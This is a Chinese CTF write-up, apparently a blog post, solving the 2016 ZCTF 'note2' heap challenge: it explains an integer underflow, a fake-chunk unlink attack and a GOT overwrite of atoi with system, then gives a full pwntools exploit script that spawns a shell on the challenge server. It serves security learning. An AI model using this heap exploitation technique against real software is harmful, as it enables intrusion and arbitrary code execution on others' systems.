unlink 2016 zctf note2

题目可在buuctf下载

这章还是unlink的复习

拖到IDA里面可以看到,开头让输入名字,地址(其实没卵用)
在这里插入图片描述
然后看下面的菜单分别是新增,打印,编辑,释放在这里插入图片描述
在新增功能中size是无符号数,所以当size为0的时候,0-1之后为无穷大的数,也就是能向堆中写入无穷大的数0xffff…,根据glibc规定会分配0X20个字节,但是读取的时候不受限制,会产生堆溢出
并且最多四个堆块

同时我们可以看出ptr是存放content的地址(0x602120),id存放在0x602160,size存放在0x602140在这里插入图片描述
打印功能没有什么问题,等会可以用来打印泄露数据
编辑功能每次都会申请0xa0大小的内存,free之后没有设置null ,存在溢出
在这里插入图片描述

所以我们这里就是利用unlink机制和fastbin机制

首先创建三个note

ptr = 0x602120
note_id = 0x602160
note_size = 0x602140

fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(128,content) #0

add(0,'c'*0x8) #1  alloc 0x20

add(0x80,'b'*16) #2

并且在chunk1中伪造了一个chunk
chunk ptr[0] 是为了unlink修改对应的值
第二个块分哦诶会至少分配可以存储(pre_size,size,fd,bk)的字段,所以会分配0x20个字段
此时堆的结构如图:其中绿色的是伪造的堆块,size:0x60
在这里插入图片描述
此时释放chunk1覆盖chunk2-释放chunk2

free(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content)
free(2)

在这里插入图片描述
首先释放chunk1,改chunk属于fanstbin,在下次申请仍然会申请到改chunk
在这里插入图片描述

修改上个chunksize为0xa0,并且为释放状态,此时再释放chunk2就会触发unlink(和伪造的那个chunk)
在这里插入图片描述
然后就控制了ptr[0]的fake_bk 即ptr-0x18

然后就可以在该位置修改自己想要的地址了,(在编辑chunk0的时候可以覆盖到该地方,将该地址覆盖为任意函数地址,在查看note0其实就是查看所覆盖的函数地址)
这里通过泄露atoi地址

atoi_got = note2.got['atoi']
free_got = note2.got['free']

content = 'a'*0x18+p64(atoi_got)
edit(0,1,content)
show(0)

在这里插入图片描述
然后通过打印函数打印出地址,然后通过-偏移,找到system地址0x****a0
在这里插入图片描述
由于此时ptr[0]的地址是got表地址,所以可以通过直接修改该note,将该堆的地址修改为system,此时再调用atoi函数就是调用system函数,然后只要发送bin/sh字符串就可以了
在这里插入图片描述

content = p64(system_addr)
edit(0,1,content)

p.recvuntil('-->>')
p.sendline('/bin/sh')

getshell
在这里插入图片描述
在这里插入图片描述

from pwn import *

#p = process('./note2')
p = remote("node4.buuoj.cn",25912)
context.log_level='debug'
libc = ELF('./libc.so.6')
note2 = ELF('./note2')

def add(size,content):
	p.sendlineafter('option--->>','1')
	p.sendlineafter('Input the length of the note content:(less than 128)',str(size))
	p.recvuntil('content:')
	p.sendline(content)


def show(index):
	p.sendlineafter('option--->>','2')
	p.sendlineafter('Input the id of the note:',str(index))

def edit(index,choice,content):
	p.sendlineafter('option--->>','3')
	p.sendlineafter('Input the id of the note:',str(index))
	p.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]',str(choice))
	p.sendline(content)

def free(index):
	p.sendlineafter('option--->>','4')
	p.recvuntil('note:')
	p.sendline(str(index))

p.recvuntil('Input your name:')
p.sendline('a'*8)
p.recvuntil('Input your address:')
p.sendline('a'*8)


ptr = 0x602120
note_id = 0x602160
note_size = 0x602140

fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(128,content) #0

add(0,'c'*0x8) #1  alloc 0x20

add(0x80,'b'*16) #2


#add(0x10,'/bin/sh\x00') #3

free(1)

content = 'a' * 16 + p64(0xa0) + p64(0x90)

add(0,content)

free(2)
#gdb.attach(p)

atoi_got = note2.got['atoi']
free_got = note2.got['free']

content = 'a'*0x18+p64(atoi_got)
edit(0,1,content)

show(0)

p.recvuntil('is ')
atoi_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))

print("leak atoi_addr is ",hex(atoi_addr)) #0x********90

libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
print("system_addr is " ,hex(system_addr))#0x********a0

content = p64(system_addr)
edit(0,1,content)
#gdb.attach(p)
p.recvuntil('-->>')
p.sendline('/bin/sh')


p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值